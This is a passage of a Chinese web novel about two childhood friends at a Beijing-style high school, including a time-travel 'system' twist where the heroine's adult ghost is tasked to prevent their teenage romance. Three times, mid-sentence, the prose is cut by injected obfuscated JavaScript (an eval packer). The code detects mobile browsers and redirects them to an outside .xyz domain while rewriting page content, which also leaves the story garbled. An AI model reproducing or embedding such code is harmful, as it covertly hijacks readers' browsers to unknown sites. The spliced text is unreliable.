说完路谨言朝着祝与青眨眨眼,把声调拖长:“——毕竟我们可不像你,成绩好到不怕处分。” 似乎是觉得这些话还不够惹怒对方,路谨言又指了指光荣榜上的第三张照片,又慢又欠的喊了声:“草——莓——头——少——爷。” 声音是止不住的幸灾乐祸。 饶是再怎么习惯,知道别人说和亲耳听到有人这样喊毕竟是俩回事,祝与青凉凉的抬起头乜了路谨言一眼,将对方搁在他肩膀上的手挑起,从自己身上甩了下去。 弯着腰闷闷地笑了一会儿,路谨言没力气似得又把手放回对方肩上,心满意足的欣赏够了这位大少爷难看至极的脸色,才抬头看了看光荣榜上的照片。 熟悉的人,熟悉的人生格言,愈加恐怖的分数,看着光荣榜上雷打不动的前三,路谨言又叹了口气。 “我们这届学生真是够惨的,整个高中都笼罩在你们三个的阴影之下。” 等了一会儿不见旁边人说话,路谨言又满脸容愁的盯着光荣榜看了好一会儿,忽然眼皮一抬,不知想到什么,表情瞬间明朗起来,自顾自地说了一句。 “没关系,反正祝与青也只有当第三的份。” 这次祝与青甚至连“去死”也懒得给他了,视线还落在诗久夏的分数栏。 语文134,数学150,英语146,理综290 高到让人望而生畏的分数。 诗久夏别好别针,终于感受到了以前的放松,一直提着的心才彻底放了下去。 她拉着在厕所里看着她别裤子,笑了好一会儿的方惊芜走回光荣榜前,见俩人还立在人潮外有些不解地问:“你们在看什么?” 祝与青看着她没说话,倒是路谨言这个嘴欠的听见声音回过头,看对方恢复了以往的样子,轻轻哼出一声气音。 “没啊,这不是怕你掉厕所里了,准备多待一会儿找人捞你吗?” 诗久夏正为自己恢复了“自由身”而高兴,心情颇好的原谅了这位“团伙头目”的大逆不道,哼哼俩声拉着方惊芜上楼了。 她有东西要给方惊芜,没空在这里给对方拌嘴。 一路跑上楼,诗久夏从自己的书包里掏出了一个A5大小的红色本子,往对方怀里塞。 光看到封面,方惊芜就惊了一下,使劲摇晃诗久夏的肩膀。 “我去!你都把房子给买好了?!你怎么这么厉害啊?!” 诗久夏看着兴奋方惊芜的脸没肯定也没否定,伸手指了指她手里的不动产权证,示意对方打开看看。 方惊芜翻开封面,念叨到:“我之前在某鱼收那个我很喜欢的绝版谷,看见有人原价出,不过捆了一套房子,二环内,地理位置不错,我打算拿下,过几天……” 话语一下止住,方惊芜瞪大眼睛看了一眼权利人。 怕自己看花了眼,方惊芜把不动产权证关上,默了几秒后才再次打开。 确认权利人写的是她的名字后,她下意识看了一眼坐落。 是捆原价谷的那套房子!!! 方惊芜深深吸了口气,转头去看诗久夏,却见对方笑眯眯的从包里摸出了那个她觊觎了不知道多久的谷子。 吧唧表层为了防划伤烫了保护膜,措不及防看见自推美得不可方物的帅脸,房产证还沉甸甸的拿在手中,惊喜太多,一下子全砸下来,方惊芜兴奋的差点昏过去。 诗久夏把吧唧小心翼翼的塞进对方的桌肚里,避免被重物挤压后,低下头小声和对方说话。 “这是你的房子,你一个人的。” 年级轻轻就靠好朋友拿下二环一套房,堪比被包养的方惊芜恨不得立马抱起诗久夏转两圈。 “你还有零花钱吗?”方惊芜忍住自己想要尖叫的想法,尽量压低声音问。 诗久夏点点头,没怎么当一会儿事。 “十七年的存款还不至于只是在二环内给你买套房就没了,你推不是快生日了吗?谷阵可以在新家里摆。” 说完诗久夏又格外认真的重复了一遍:“这是你的房子,你一个人的房子,你自己的家。” 方惊芜眼睛一眨不眨的盯着诗久夏,心像是被猛的撞了一下,眼睛一下子酸胀起来。 她知道对方是什么意思。 她爸妈离婚的早,她跟着她爸,而她爸虽然没有再娶,但也因为工作原因常年不在家,两个人除了节假日的祝福根本说不上两句话。 大部分时间里她都没有归处,过年也只是在爸妈家里换着过。 一套房子的钱对于方惊芜来说不是什么问题,但诗久夏送给她的不是买一套房子的钱,而是一套房子。 快乐小人一下子焉巴下来,眼睛用力眨了好几下,想把眼眶里的眼泪憋回去,鼻子发酸,喉咙也像被什么东西堵住。 方惊芜张了张嘴,想玩笑着说一句“怎么忽然这么煽情”,话还没说出口,后脑就被人扣住,放在了温热的颈间。 诗久夏轻轻拍着对方的后背,搜刮着大脑里所有安慰人的话,把“不要哭”,“不要难过”咽下去。 停顿片刻后搬出祝与青小时候闹出的笑话来,一句一句的哄着对方。 于是祝与青和路谨言慢悠悠的晃回教室,看到的就是诗久夏憋得满脸通红的抱着怀里的方惊芜哄。 嘴里念叨着祝与青被公鸡满大院追着啄的“英雄事迹”。 而在俩人身边,有说着“友谊天长地久”,需要接水,“路过”的铁兄弟裴逢。 有喊着“有事一起当”,拿着习题册需要“问题”的铁兄弟谢敬。 还有找不到东西演,拘谨的低着头,立起耳朵,站在两步外偷听的铁兄弟斯郁。 路谨言也没想到走进教室就有如此美味的八卦可以“吃”,觑了一眼面色铁青的祝与青,抱头痛笑。 只恨自己在楼下待的太久,没有从头听到尾。 诗久夏还在断断续续的讲着祝与青式“冷笑话”,听的怀里的方惊芜哭又哭不出,笑也笑不出,憋在中间,愣是给憋出了不知道什么情绪的眼泪花。 身体一抖一抖地颤着。 丝毫没察觉到“隔墙有耳”,四周已经站满了偷听的人,并且故事的主人公此刻正站在教室门后的诗久夏见方惊芜还发着抖。以为对方还在哭,又倒豆子一样的讲了不少祝与青的糗事,听的教室后门的人脸色越来越黑。 偏偏旁边还有个不怕死的人。 “你说,”祝与青自认倒霉后果断转移战火,面无表情的看着大半个身子靠在门上,快要笑的窒息的路谨言,忽然出声,“有没有一种可能。” “有一天,一块石头正义的从天而降,看不惯你的嘴,砸死了你。” 然而这句话根本阻挡不住笑得猖狂的路谨言,反而让他笑的更嚣张了些。 “很好笑吗?比你高一军训被发表白墙问怎么黑的像卤蛋还搞笑?”祝与青抬起眼,状似随口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502249|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问了句。 听见这句话,路谨言笑着的嘴角一下子垮了下来,看着祝与青格外正经的表情,转头就朝着诗久夏大喊了句: “还有吗?还有吗?祝与青的冷笑话还有吗?” 路谨言这一嗓子把周边看热闹的人全喊回神了,一转头发现主人公就在门口,见鬼似的一下子散开来。 翻书的翻书,喝水的喝水,“忙”的不能再忙。 诗久夏也终于发觉自己的后脑勺已经快被人盯穿了,回过头正好对上祝与青的眼睛。 眼皮一跳,应该不是她的错觉,她从对方那双一向没什么表情的眼睛里看出了几分幽怨和无奈。 在心里默默说了三遍对不起和阿弥陀佛,诗久夏迅速甩锅,指了指身边偷听的人。 抬头被好兄弟发现自己在听他笑话,谢敬,裴逢这两个会装的人倒是跑得快。 苦了没经验的老实人斯郁,被抓包后还直愣愣的站在原地,从脸红到了脖子。 被这么一打岔,悲伤的气氛散了个干净,方惊芜抹抹眼睛,慢悠悠的从诗久夏怀里退出,抬起头回给几个人一个微笑,坐直了身子。 下午祝与青直接跟着诗久夏回了对门,并在吃饭时不出所料的被家里的阿姨喊了一起吃晚饭。 虽然平时他俩平时也是谁家先开饭就能去谁家蹭饭的关系,但今天对于祝与青来说显然和平时不太一样。 诗久夏坐上座位,做的第一件事不是拿筷子,而是先把祝与青爱吃的青菜全都端到自己面前,留下一盘又一盘肉在祝与青面前。 ——祝与青饮食习惯奇葩非常,吃饭尤其不喜欢吃肉,而且貌似所有肉都不爱吃,只格外钟情于饭桌上绿油油的生菜和小瓢菜。 筷子几经拿起又落下,眼神在面前各色各样的肉里转了好几圈,祝与青才面无表情的夹起一块瘦肉僵硬的咬下去。 虎落平阳被犬欺。 祝大少爷也有人在屋檐下,不得不低头的时候。 他和对方的渊源太深了,甚至如果不是她,他现在也不至于逃难到诗久夏家。 诗祝俩家是世交,爷爷辈就是一个军区大院长大的,直到现在也住在一个四合院里。 属于抬头不见低头见,两个人犯了错还能拎出来一起打的“好关系”。 于是诗久夏长到能自由行动时就开始带着这位竹马干些不靠谱和挨打的事。 包括但不限于躲猫猫把自己和祝与青一起锁在柜子里,把家里长辈收藏的价值四十几个w的红酒倒出来过家家,用颜料给自己和祝与青化“全妆”。 把红墨水含在嘴里,并在红色的液体顺着嘴角流下来时,突然倒在地上,吓祝与青说自己中毒了,马上要死了。 把四岁的祝与青吓的边哭边回去找人,哭唧唧拉着自家妈妈回来之后,发现对方已经从地上坐起来,正咯咯咯的张着嘴朝他大笑,整个嘴里全是血。 给祝与青吓的以为诗久夏已经变成丧尸,救不回来了。 而每次考试成绩一出来就是这位少爷的落难期。 ——祝与青的妈妈,林女士,就会避无可避的说起他对面考第一的诗久夏,并将对方进行一番“惊天动地”的夸奖。 并就他为什么又考了第三对他进行深刻的思想政治教育。 所以即便爹妈今天都不在家,他也不愿意回自己的屋子。 那是一种只要看见一样的地方都能想起的被支配的恐惧感。 和路谨言说整个高中都笼罩在他们三个前三的阴影下相比,祝与青还要更惨一些。 他的整个学生时代都笼罩在诗久夏的阴影下。 因为自小学开始,诗久夏的成绩就压他一头。 林女士对自己儿子的成绩要求其实并不严苛,也并不真的要求对方要有多优秀。 但不知诗久夏给她灌了什么迷魂汤,让她在亲眼见识了诗久夏带着他掏鸟窝,爬榕树,捉蜜蜂,给狗喂屎吃后。 仍坚定不移的觉得对方是一个非常让人放心的女孩。 并无可避免的非常尤其特别喜欢对方。 林女士超级无敌喜欢诗久夏,就不免在对比下有些嫌弃自己的孩子。 可怜祝与青这个爹坑妈嫌,小时候一直被不靠谱的诗久夏带着栽了不少坑的倒霉孩子,在长大后还要一直活在“罪魁祸首”的阴影下。 5. chapter 05 照顾好 晚饭吃的窝囊,但总归是好过林女士在她耳边说个不停。 其实起初林女士念叨时他是会听的,就算对方把诗久夏从头夸到脚他都能接受。 但他实在是有些受不了对方在夸赞完诗久夏之后,一字不变的思想教育。 他对那些话的熟悉程度不亚于林女士刚开口,他就能以相同的语速,同样的停顿方式,同样的话一字不差的在心里叙述一遍。 哪怕对方哪天换一句话,他都不至于怕成这样。 诗久夏一向知道对方怕些什么,吃好饭后直接去了房间,把对方放在她这的睡衣和洗漱用品拿出来放在显眼的地方。 记不清俩人的东西是什么时候混在一起,每个人的房间里都堆放着对方的东西。 祝与青敲响诗久夏卧室门时,诗久夏刚从洗浴间里出来,正拿着干发帽擦自己还在往下滴水的头发。 看了眼人影,诗久夏坐回窗前的书桌前,喊了声:“进”。 门被吱嘎一声推开,又很快合上,祝与青瞥了一眼对方的房间,轻车熟路的捞起对方搭在椅子上的衣物进了洗漱间。 合上浴室门,祝与青站在门后,却久久没有动作。 浴室里还带着上一个人洗漱完后氤氲的热气,雾气遮住了浴室的玻璃让祝与青看不见自己的脸。 熟悉又清新的青柠洗发水和沐浴露的香味无孔不入的侵入他的身体,像落入了某个密不可分的怀抱。 温暖,安心。 浴室外开始传出熟悉的脚步声。 她在晾干发帽。 祝与青想。 下一步,诗久夏会从桌上拿出保湿用的水,没手法的在脸上乱涂一通。再从靠着墙的桌柜里拿出吹风机,走到离门口最近的那个插头旁边,吹自己的头发。 不出意料,一声玻璃瓶与桌子轻触的磕碰声传来,而后又是一阵脚步声,片刻后熟悉的吹风机运作时产生的嗡鸣声盖住了所有声音,响在了浴室外。 他太熟悉诗久夏了。 熟悉到对方下一步会做什么,做这些需要多久,大概什么时候结束。他都知道。 祝与青其实很会照顾人,很小,自这个邻家妹妹出生时,他就一直受着家里长辈对他的告诫: “要好好照顾妹妹,不可以和妹妹打架,要和平共处。” 于是后来祝久青几乎是无师自通的学会了照顾诗久夏。 诗家夫妇很忙,诗久夏小时候相当长的时间里都住在祝与青家。 上小学时诗久夏生活基本独立,能一个人睡觉吃饭洗澡,却非常不喜欢吹头发,总是在头发没干时直接睡觉。 发现她会这样后,祝与青怕她头疼,就会在自己洗漱好时,把水温调到适合诗久夏的温度,再把她送进浴室,认真的等在卧室门外的门槛上。 等对方洗漱好,会高高的喊一声:“祝与青,我洗漱好了。” 他就会走进去,拿出为她准备的粉红色干毛巾,帮她把头发擦个半干,小大人一般找出吹风机,调到不会烫到她的风档,把对方的头发完全吹干,最后带去床上,裹好厚厚的被子。 确认一切都安排妥当后,拿出对方的保温杯接一杯热水,又把纸巾放在床头,关上大灯,把小夜灯摁亮,嘱咐对方如果半夜要起身就把他叫醒。 最后才在睡着诗久夏的床下,铺上自己的小毯子和枕头,睡在地板上。 所以诗家很少操心诗久夏的事,她总是能被祝与青照顾的很好。 直到很多很多年后,彼此都对性别,青春懵懂,感情,暧昧,有了意识。 祝与青才渐渐停下了一些自己的习惯。 记不清什么时候起,他和诗久夏独处时两个人的话都开始慢慢变少。 为对方吹头发时发现她已经到了自己的下巴,一低头就能抱个正正好的高度,抬起头望向他时也已经不是那个脸颊塞得鼓鼓,总是塞肉到他嘴里的小女孩了。 欢喜冤家青梅竹马,最后只剩下了别人眼里的冤家。 渐渐地,曾经无话不谈,能聊整宿不睡觉的两个人,四目相对,竟都不知道该开口说些什么,只能牵强的呛对方两句。 一种不尴不尬的陌生蔓延在两个人之间,像曾经最熟悉,深爱过的人分开后再次遇见,手足无措。 有太多话碍于身份没法说出口,太多事又碍于人与人之间合适的社交距离没法再继续做。 他发呆的时间有些太长了,如果再听不见热水器打开的声音,下一秒诗久夏就该问他:“是不是我的热水器认主,不希望你用它”了。 喷头洒下热水,祝与青抿抿唇,抬手脱衣服时擦到了翻墙时不小心刮伤的后腰,忍不住嘶了一声。 抬手把被雾气遮盖的镜子擦出一块能看清的地方,祝与青背对着站在镜子前,转头看见了眼伤口处。 刮伤面积很大,几乎铺满整个后腰,摩擦过的大块皮肤上都冒着血痕,擦伤的脊柱处已经青了一大块,在他白的发亮的肤色和浴室白炽灯的加持下显得触目惊心。 这所学校实在是修得有些久了,围墙处也不知道是不是当时的砌墙员没睡醒,拿着水泥乱糊了一通。 朝着学校内部的那面还算平整,朝外的那一面就完全和平整沾不上边了,还有几块突出的水泥。 他第一次翻墙,跳的时候也没注意看,因为跳跃裸露出来的后背狠狠地在凹凸不平的水泥墙上擦了好几下,火辣辣的泛着疼。 学校里没有校医,他也没往包里放处理擦伤的碘伏和绷带,怕血印在衣服上让诗久夏看见,他回教室后还把校服外套穿上了。 捂出的汗水淌过被刮伤的后腰,简直像在伤口上撒盐和辣椒。 冒着挨处分的危险翻墙出去买一根曲别针,还把自己刮伤了。祝与青勾起嘴角,竟然也想笑自己。 人蠢起来真的是可以蠢出新高度。 但看见对方握着别针时看向他的眼睛,他又觉得。 其实这也不算什么,他还能再做很多这种“蠢事”。 房间里的空调不停的置换着冷气,空气中只有吹风机呼啦呼啦作响的声音。 祝与青出浴室时诗久夏还站在门前,听见开门声,握着吹风机回头看了他一眼。 诗久夏卧室的布局其实一直没变过,墙壁是通体的白,家具也都是偏白的色调,床上三件套是简单的暖黄色,铺着几朵简单的小雏菊。 进门是个容量相当可观的柜子,几乎一直延伸到浴室,据他对诗久夏的了解,对方需要用时找不到的东西百分之八十都在那里面。 最常用的书桌靠着窗户,刚刚好容纳两个人。旁边铺了一张毛茸茸的,长两米左右的毯子,一直到床边。 那是他睡在这时的床。 祝久青在原地站了几秒,等对方已经收好吹风机,坐回书桌前,都没能想出自己下一个动作该是什么。 将吹风机放回柜子里,诗久夏见对方还站在原地“罚站”,率先坐在了书桌靠外的板凳上。 书桌俩个位置,个人风格也明显,靠里的那半边从书到笔什么都理的很干净,每样都做了分类,摆的整齐。 靠外的那个就有些凌乱了,成了一条明显的分界线。 资料和书没分开,中间夹着试卷和本子,用完的和没用完的笔都摊在桌子上,乱但不脏,还乱的挺有秩序。 “今天的作业你记了吗?”理了理桌上堆得满满的笔,诗久夏抽出一只还能勉强用的,握在手中问。 祝与青将半干的毛巾搭在里面的板凳靠背上,随手指了指书桌上的黑书包。 诗久夏应了声好,刚想侧身去找,打开书包的手一顿,忽然想起什么,猛地拍了一下自己的脑袋。 “对了。”诗久夏从堆积着无数资料的桌子里翻找出一张纸,递给站在旁边的祝与青。 刚洗漱完的祝与青总是格外乖巧,诗久夏抬头时刚好对上他的脸,忽然明白了为什么对方在没有人拆台时,留下的永远是高冷人设。 祝与青的五官立体深邃,此刻大半张脸都隐在黑暗里,笑起来格外勾人的狐狸眼在不笑时看起来就凉薄了许多。因为不爱说话,脸上的表情也不多,留给别人的第一印象就只剩不近人情。 而此刻,祝与青半干的额发搭在额前,堪堪停在眼睛上,白色T恤上的简笔画小熊中和了因为身高过高显现出来的压迫感,竟显得有些温和和人畜无害。 要是单论对方的长相,完全看不出来这人爱告状,还爱呛人。 祝与青该剪头发了。 诗久夏握着笔的手颤了一下,忽然想。 “……什么?你的银行卡余额?”祝与青看着手里一串无厘头的数字问。 “……” 合理怀疑祝与青在诅咒她。 “快递单号。” 诗久夏收回自己放在对方身上的目光,微微蜷了下手,转回身正面着书桌,木木地看着眼前的试卷,没好气的解释: “前几天逛购物软件时看见的,应该很适合你。” 祝与青折纸的动作一顿,片刻后拿起自己放在桌子旁的手机,输入运单号后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502250|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一眼到达时间,点点头,轻声说了句:“谢谢。” 交流到这里好像莫名奇妙的就停住了。诗久夏写了两个字,忽然又停下笔看向了还站在旁边的祝与青。 以她的视角去看,站着的祝与青像一座极具威压的大山。 “祝与青。”诗久夏忽然出声喊道。 被喊住的祝与青看诗久夏的目光在暖黄色灯光下变得柔和,甚至慢慢带上些笑意,不知她又想到哪里,掩下忽然慌乱起来的心,含糊着应了一声“嗯?” “你知道你现在杵在这里像什么吗?” 望向对方盈满笑意的眼睛,祝与青不明所以地摇摇头。 诗久夏抿唇轻笑,放下手中的笔,立起食指和中指,在桌面上模仿人走路时的腿,声音里带着几分雀跃和欢快:“像一只长了脚的大火炉。” “很暖和很暖和那种。” 五月还没到需要整晚开着空调的时间,等卧室的热度散去,冷风萦绕,诗久夏拿起遥控器关了空调。 祝与青看着对方那双盈满笑意的眼睛,喉间发涩,急忙挪开了视线,落座在了诗久夏旁边的空椅子上,掩饰般的随口应了句:“嗯。” 诗久夏没发现祝与青的怪异,沉浸在自己的想象里无法自拔。 一会儿是祝与青喝了红墨水一样从头红到脚的顶着自己一米八一的身高到处跑。 一会儿又是对方上身套个破破烂烂的铁皮筒子举步维艰的模样。 在想象里把自己逗乐,笑得已经没力气再笑后,诗久夏才继续刚才没算完的物理题。 翻书声时不时响动,偶尔会有几声消息提示音,更多的是笔尖与纸张的摩擦声。 两个并肩的身影映在身前的窗户上,所有想象过的暧昧缱绻竟然没有此刻幸福,好像他们本来就该这样。 不用牵手,不用接吻,只是坐在一起,做着自己该做的事,日复一日的重复千百次。 祝与青收回视线,轻轻拨弄了一下手中的笔盖,低声问身边聚精会神解题的人:“这题怎么做?” “嗯?”诗久夏倾身往对方的方向侧了侧,去看对方放在中间的习题册。 淡淡的青柠香先行抢占周围的空气,干燥的发尾轻轻扫过祝与青搭在桌面的手臂,另一侧的耳朵像被火烧到一般,肉眼可见的红起来。 心弦被人轻轻拨了一下,乱了震耳欲聋的心跳声。 祝与青刚想把手臂撤回去,又怕动作太刻意,被诗久夏看见,僵硬着没动。 诗久夏更是满心满眼只有题,完全没发现平时刻意保持的距离此刻亮起了红灯,没半分钟就扯过自己的草稿本留了个公式。 “这个题的解题方法很多……” 门外树影婆娑,月光撒在庭院里,照出一片亮光。 燥热的晚风时不时吹动走廊处挂着的纸灯笼,孜孜不倦的蝉传出两声微弱的鸣叫,四合院外的喧嚣声依旧,栀子花香不知从哪个角落飘来。 二十七岁的诗久夏站在榕树下,看着窗上拓印下的黑影,仰头看了一眼天空中高悬的月亮。 原来记忆中那根让人安稳的别针是祝与青违反校规,翻墙出去买的。 她忽然有些恍惚,记不清自己到底是什么时候喜欢上祝与青的了,又或者从一开始,她一发不可收拾的心动就有迹可循。 是祝与青太好,好到纵容她爱上了他,却又因为爱留下了她。 纵使再迟钝,诗久夏也发现了,这不是一场梦。 她以透明的魂体,穿越到了年少的自己身边,看着十七时的自己又一次爱上祝与青。 可她竟然有些恍惚。 她不知道她现在应该做些什么。 是该阻止两个人相爱,就此保持安全距离,还是应该让两个人避开那一次意外。 她又转身看向印在窗上的身影,那是彼此相依为伴的十七岁和十八岁。 可十八岁的祝与青太好了,十七岁的诗久夏没法不心动。 二十六岁的祝与青也太好了,二十七的诗久夏没法将他从身体里剥离。 姗姗来迟的系统终于在这一刻出现了,她根植于诗久夏的脑海中,是道很清润的女嗓音。 “叮!恭喜宿主解锁任务!” “在人生这场盛大的旅途中,抓不住的蝴蝶和留不下的风景占据了绝大部分,想要挽留总归会逝去的东西,就必须舍弃些什么,或者勇敢的接受些什么。” “宿主已成功传送,请阻止年少心动的发生,任务成功即可改变死亡结局,期待您的好消息。” 6. chapter 06 蛋白棒 窗帘被风吹动微微掀起,缝隙里透过的第一缕阳光覆上祝与青的眼睛,走廊外时不时响起脚步声,叫卖声钻进耳朵,饭香不停往鼻腔里闯。 勾的肚子里的馋虫直叫。 诗久夏赶在闹钟响起的前一秒抬手关掉闹铃,在床一通乱扭后一个鲤鱼打挺坐起身。 床下的祝与青早已习惯诗久夏每天早上起床时不小的动静,眼睛都没睁开,翻了个身继续睡。 坐了两分钟,诗久夏穿上拖鞋跑去厨房,喊了声“张姨”后,非常自觉的跑到了蒸笼前等着今早出笼的第一个包子。 张姨早猜到诗久夏起床的时间,在她眼巴巴的瞪着眼睛等了不到一分钟后掀开了大蒸笼。 热气四散开来,白茫茫的一片瞬间沾湿了诗久夏的睫毛,只是对方似乎并不在意,眼睛仍紧紧的盯着被雾气蒙住,什么都看不见的蒸笼。 看着诗久夏几年没吃过饭的馋虫样,张姨被逗的大笑一声,嘱咐道:“哎呦喂,注意烫手!” 诗久夏半点不移开视线,目光坚定的像是要去当兵,拖长调子,回了声:“——知道啦。” 而后在雾气散开的一瞬间,直接把歹手伸向了冒着粉丝肉香,蒸的大大软软,白白胖胖的包子上。 抓起最中间那个最大的包子,诗久夏把包子在空中抛了两圈,耍杂技似的伸手去接,等手彻底适应了包子的温度,才狠狠地啃了一口。 肉香在嘴里散开,诗久夏把热气腾腾的肉包又在嘴里“翻炒”了一遍,才咽下肚子。 吃到了第一口,诗久夏也就不着急了,拿着肉包在庭子里跳了一会儿,等手里的包子吃完,又跳回厨房,对着正和面的张姨喊:“张姨,待会儿把早饭端上桌的时候记得全拿有肉的!” 庭院里的树正青着,太阳从东边升了起来。诗久夏喊着走远:“祝与青太瘦了,别让他吃到青菜!” 二十七岁的诗久夏看着十七岁的自己跳着往卧室里走,又一次的见到了十七岁,那个离自己已经有些远的自己。 人其实是很难保证自己长大后仍和成年青年一成不变的,纵使性格变化差距再怎么小,再怎么不甘愿,年龄心态的变化终归也会让人服老。 十七岁的时候总是想着到处去闯,到处去闹。 二十七岁的时候只想在家里蒙着被子睡个好觉。 其实长大后她的变化不多,但职业原因还是让她沉稳了不少,却仍保留了一些少年时期的习惯。 比如早上跳着去骚扰家里阿姨的癖好,变成了跳着去骚扰在厨房做早饭的祝与青。 从后面蒙住他的眼睛,玩幼稚老套的“猜猜我是谁的游戏”,又或者从背后抱住对方的腰,身上有跳蚤一样使劲在对方身上蹭。 再或者忽然跳到对方背上,祝与青游刃有余的一只手护住跳到他背上的她,另一只手有条不紊的继续翻炒着锅里的菜。 真是奇怪,这些她早早忘记的东西,竟然在她穿越到十八岁的祝与青身边时开始清晰起来。 诗久夏回卧室时祝与青已经穿好洗漱好,正在收拾自己和她的书包。 见她走进来,祝与青拎着俩个书包走出卧室,又替诗久夏关好了门,等她慢慢收拾。 诗久夏其实一直都很好奇明明她出去吃个东西的时间也不长,为什么一回来祝与青就能收拾好。 不过现在显然不是个适合思考的时候,抽出纸巾把手擦干净,诗久夏利索的换上校服,掐着最后的几分钟洗漱好出了门。 理科一班的教室里热闹的厉害,除了认真读书的,做什么的都有,谢敬抛了瓶牛奶给进门的祝与青和诗久夏,方惊芜也凑过来一人发了几颗糖。 “你俩昨天是不是没看群消息?”站在斯郁旁边的裴逢懒懒的倚在课桌旁,撕开糖纸,将粉色的硬糖丢进嘴里,含糊问了句。 应城市第一高中对手机管控的严,被抓到就是把手机“五马分尸”后绑成“螃蟹”挂在校门口“示威”的份。 所以学生几乎都不敢把手机带到学校里来,要手机联系只能放学回家发消息。 路谨言,方惊芜,裴逢,谢敬,斯郁,祝与青,诗久夏有个七人群,一群人没事就在里面跳跳闹闹的密谋颠覆学校政权,或者叽里呱啦的商量要去哪里玩,治愈治愈自己饱受学习摧残的精神和肉.体。 前几个星期考试多的厉害,大家都没空在群里发消息,这隔三差五就要搞点事出来的“七人团伙”也就消停了一段时间,现在又闲下来,估计是又有谁冒了鬼点子出来。 被这么一问,诗久夏这才想起昨天晚上好像没见过自己的手机,心头一震,早已听不进几人说了什么,怕自己又把才买的手机弄丢了。 祝与青昨天更是压根没进自己房门,就更别提看手机的事了。 谢敬叹了口气,一时不知道该夸这俩人是爱学习的乖孩子,还是该骂俩人懒出了虫,连手机都懒的看一眼。 刚想把昨天在群里说的事和俩人复述一遍,再问问两个人的意见,结果看早自习的老师先进了教室,只好作罢。 坐回座位,诗久夏还在复盘自己昨天的行动轨迹,试图记起自己把手机放在了哪里,方惊芜喊了她好几声都毫无反应。 一张折得整整齐齐的纸条“从天而降”忽然落在了她的课本上,诗久夏左右瞟了一眼,确认早读课老师没发现,才偷摸打开看了一眼,快速塞进课桌。 【手机在客厅的茶几上】 笔锋利落,是祝与青的字迹。 诗久夏猛的松了一口气,瞄了一眼正襟危坐的祝与青,一下子静下心来,认真看起了课文。 高中生活一如既往的无趣,不用猜都知道是什么,从早上坐到教室里放下书包就是开考。 然后继续考考考考考考考考考,再考。 考个头昏脑涨,分不清方向。 明明学生不想做,老师也不想改,但偏偏俩方都是顶级受虐狂。 一个考到的头晕眼花,精神失常,脑细胞超量死亡也不肯停笔,一个改的血压飙升,怀疑人生,要死不活了还不肯举手“投降”。 试卷的翻页声不停,考了一天且没休息过的诗久夏脑子也有些晕。 夏天的燥热更是火上浇油。 像被放上了蒸笼,在高温和高压下,变成一摊软绵绵的泥,肉质香甜Q弹,可以反复暴打。 终于捱到下午的最后一节课,生物老师李东厉拿着试卷走进教室时,底下的学生已经两眼失神,成了只会张着嘴流哈喇子的“傻子”了。 敲了敲桌子,李东厉把试卷递给课代表,终于说了今天这些学生听到的,最动听的一句话:“这节课讲试卷。” 底下的学生终于缓了口气,勉强抬起眼皮,焉不拉几的齐声喊了句:“吾皇万岁万岁万万岁。” 李东厉被这群学生逗的哭笑不得,由着一群人歇了一会儿后才开始正式上课。 高中生一点睡六点起似乎早已成为常态,炎热的夏季一放松下来,就是打瞌睡的高峰期。 上课不到二十分钟,整个班没趴下去的人已经没几个了。 还有几个要睡又不敢睡的,只能瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502251|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着“死鱼”眼睛生无可恋的看着李东厉,眼神清明的更是少的又少。 叹了口气,李东厉认命的放下手中的试卷,高声喊了句:“放学了。” 下一秒,所有脑袋都像被施了魔法一样,全都抬了起来。 望着讲台上李东厉无奈的脸,底下的学生又焉了下去,李东厉实在没法,把试卷翻到了第四页的某题。 “别睡了别睡了,看到第四页的第二题。” “把蛋白质写成蛋白棒的那位同学站起来给大家讲解一下这道题。” 众人一听是这些东西,一下子就不困了,撑起头四处“巡视”,想看看又是哪位大神写出了这些奇葩答案。 下一秒,整个班级的人就见因为困倦,人还不太清醒的祝与青慢悠悠的从座位上站了起来。 李东厉看着比他高了快一个头的祝与青,笑的格外慈祥,毫不掩饰自己的“欣赏”: “写生物试卷写着写着没写反胃,还写饿了的,你倒是我遇见的第一个。” 祝与青闻言低头看了一眼自己的试卷,又侧过头看了一眼怕自己一个没忍住笑出声,甚至不敢抬头看他,捂着嘴把视线往窗外移的同桌路谨言。 沉默几秒,祝与青确认这么离谱的答案确实是自己亲手写出来,不是别人恶作剧,也不是老师眼花看错了后,不甚明显的往诗久夏的位置看了一眼,皱着眉想起了自己写这张试卷前说了什么。 李东厉见祝与青不解释,又慢悠悠的继续道:“但你知道为什么我说你是第一个而不是唯一一个吗?” 下一秒,李东厉喊了另一个耳熟能详,但在此时说出来有些恐怖的名字。 